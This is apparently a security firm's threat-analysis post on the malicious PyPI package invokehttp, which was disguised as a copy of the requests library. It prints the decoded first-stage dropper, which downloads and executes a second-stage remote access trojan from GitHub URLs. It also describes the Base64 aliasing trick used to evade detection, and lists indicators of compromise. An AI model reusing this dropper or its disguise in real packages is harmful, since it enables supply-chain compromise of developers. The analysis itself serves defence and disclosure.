Author @lukehinds & @poppysec
Initial discovery with Trusty
On August 29th, Stacklok’s automated threat detection platform alerted us to the presence of malicious code in a newly published PyPI package named invokehttp
.
This package raised red flags due to inconsistencies in its metadata and the absence of any verified connection to its claimed GitHub repository.
Several anomalies in the package metadata triggered further inspection:
Failed Proof-of-Origin checks: The package claimed to be associated with the GitHub repository undetected-chromedriver, but other packages held stronger claims to this repository.
Versioning: Despite being newly created, the package claimed a version number of
2.5.5
.Homepage link: The package homepage was set to an unrelated URL, google.com, which is unusual and could indicate some carelessness in design
On first glance, the package might look like a legitimate library for facilitating HTTP requests in Python. Eagle-eyed readers may note that the Quick Start code in the description bears a striking resemblance to Python’s widely-used requests
library. Upon comparison we found the code had been largely lifted from requests
, with a few nefarious additions in the __init__.py
file.
Interestingly, rather than being a direct starjacking attempt on requests
(which involves hijacking the reputation of popular packages), the attacker opted to link the package to a popular Selenium ChromeDriver GitHub repository. This has the same effect of exploiting the repository’s high number of stars, forks, and followers, adding a layer of credibility to invokehttp
.
The source code for requests
has likely been copied to bulk out the package and lend it some legitimacy upon quick visual inspection.
Weaponization
In the __init__.py
file, base64.b64decode()
is imported and aliased as invoke()
, a defense evasion tactic intended to bypass string-based detection mechanisms.
Hidden in between blocks of the legitimate requests
functions, the attacker has inserted an exec()
call to execute content from a decoded Base64 script.
Decoding the script, we can immediately see malicious intent.
import os as borrow
import platform as blacktrone
from subprocess import Popen as pickachu
try:
import requests as takihao
except:
borrow.system('pip install requests')
import requests as takihao
if blacktrone.system() == "Windows":
papirus = borrow.path.join(borrow.getenv('TEMP'), 'marshal.exe')
if not borrow.path.exists(papirus):
with open(papirus, 'wb') as f:
f.write(takihao.get('https://github.com/user-attachments/files/16791956/marshal.txt').content)
pickachu(papirus)
else:
papirus = borrow.path.join(borrow.getenv('TEMP'), 'trezznor')
if not borrow.path.exists(papirus):
with open(papirus, 'wb') as f:
f.write(takihao.get('https://github.com/user-attachments/files/16791996/trezznor.txt').content)
pickachu(papirus)
The script aliases commonly used modules (os
, platform
, Popen
, requests
) with obscure names (borrow
, blacktrone
, pickachu
, takihao
), aiming to confuse analysis.
The script first attempts to import the legitimate requests
as takihao
, and installs it if the library is not available, ensuring that the downloader executes successfully.
Depending on the operating system, the script then downloads and executes a second-stage payload - either marshal.exe
for Windows or trezznor
for Linux-based systems. These executables are fetched from GitHub in text format, then written to the system’s temporary directory and executed.
Second-stage payloads
Properties
PE sample | - |
---|---|
File Name | marshal.exe |
File type | PE AMD64 |
Compiler | Go (1.22.3) |
Compilation operating system | Windows(7) |
SHA256 | 84ccffd89ef262ce8475801bfc751fec381ee613f38f78b1c0974716ad32bab8 |
ssdeep | 98304:Xe4XgjYxTRCe5EdjYPAiZKAKeubMzKCkS3wJYBHchffSCmA:XbWYxTodeZ2euMHkSge |
ELF sample | - |
---|---|
File name | trezznor |
File type | ELF AMD64 |
Compiler | Go |
Size | 7.6 MB (8003072 bytes) |
SHA256 | 6c2fb04f81fe0631d6765720af92aa9969f10766281fbc32b6f77889b50b87cd |
ssdeep | 98304:PcAOESpxJOZEQn7gtvysOWxwaxcjkQbOxiH4lX0Og:EjpxJtdysTxwkBiIA |
Capabilities
Both samples are packed Go-based executables.
Static analysis checks, such as reviewing API imports, offers great insight into the intended use of the executable. Here we will review the PE in some detail, but highly similar conclusions were drawn for the ELF counterpart.
Since the executable is statically-linked, tools like Blint Binary Linter can be used to parse its technical capabilities using both the Win32 imports and the Golang imports.
Many Win32 APIs associated with advanced thread and memory management were imported, such as SuspendThread
, ResumeThread
, SetThreadContext
, and GetThreadContext
.
Amongst others, this would imply the sample has remote process injection capabilities. Manipulating the execution flow of threads is a method used to carry out keylogging or screen capturing, common activities for remote access trojans.
Additionally, the presence of functions related to file creation, writing, and system information gathering suggests that the payload is designed to collect and store data on the system, likely with the intent of later exfiltration.
Finally, analysis revealed references to Telegram and Tor onion addresses, which are commonly associated with encrypted communication channels and command-and-control (C2) operations.
Overall, the findings are strongly consistent with the profile of a Remote Access Trojan. They suggest that the payload has functionalities for remote command execution, system control, data exfiltration, and detection evasion.
Indicators of Compromise
Files
Filenames | SHA256 |
---|---|
marshal.exe |
84ccffd89ef262ce8475801bfc751fec381ee613f38f78b1c0974716ad32bab8 |
trezznor |
6c2fb04f81fe0631d6765720af92aa9969f10766281fbc32b6f77889b50b87cd |
invokehttp-2.5.5-py3-none-any.whl |
1ca29c9484acb099f7182c3c5cb876308b7a8853288102523edcd6852021811d |
invokehttp-2.5.5/__init__.py |
9126e951c1bf09d6122216ee9f7897590b3593b451fbe4e068955b5cdaa70531 |
IP addresses
149.154.167.220
20.26.156.215
142.250.185.81
103.250.232.39
209.196.144.2
109.202.202.202
91.189.91.43
91.189.91.42
Responsible disclosure
Shortly after our threat detection engine flagged the invokehttp
package, we reported it to PyPI maintainers. The package was quickly quarantined on the PyPI registry, preventing any further installations of the malicious library.
On August 30, PyPI removed invokehttp
from the registry.